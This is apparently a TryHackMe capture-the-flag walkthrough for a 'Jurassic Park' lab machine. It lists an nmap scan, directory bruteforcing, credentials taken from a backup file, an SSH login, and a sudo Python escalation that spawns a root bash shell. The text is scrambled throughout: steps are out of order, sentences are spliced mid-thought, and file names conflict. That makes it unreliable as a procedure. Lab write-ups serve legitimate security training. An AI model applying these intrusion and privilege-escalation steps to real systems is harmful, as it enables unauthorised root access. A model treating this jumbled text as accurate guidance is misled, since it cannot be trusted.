Jurassic Park Tryhackme Apr 2026
http://<machine_IP>/backup Download the backup file ( backup.zip ) and unzip it:
sudo python /usr/bin/jurassic Create a new Python script to exploit this:
import os os.system('/bin/bash') Save this script and execute it with sudo privileges: jurassic park tryhackme
sudo -l This will list the commands that can be executed with sudo privileges. Notice that the park user can execute the following command with sudo privileges:
ssh park@<machine_IP> In this task, we'll escalate privileges. Step 1: Enumeration Perform enumeration to gather more information about the system: This file contains credentials: sudo python jurassic
username: park password: L1a5hT9h Use the credentials to log in via SSH:
unzip backup.zip Inside the unzipped directory, you'll find a file called dinosaur.cfg . This file contains credentials: Now, find the root
sudo python jurassic.py This will give you a root shell. In this task, we'll continue to escalate privileges. Step 1: Root Access You've already obtained a root shell. Now, find the root.txt flag:
http://<machine_IP> You'll see a simple web page with a "Welcome to Jurassic Park" message. Perform directory bruteforcing using a tool like dirbuster or gobuster :
nmap -sV <machine_IP> Replace <machine_IP> with the IP address provided by TryHackMe.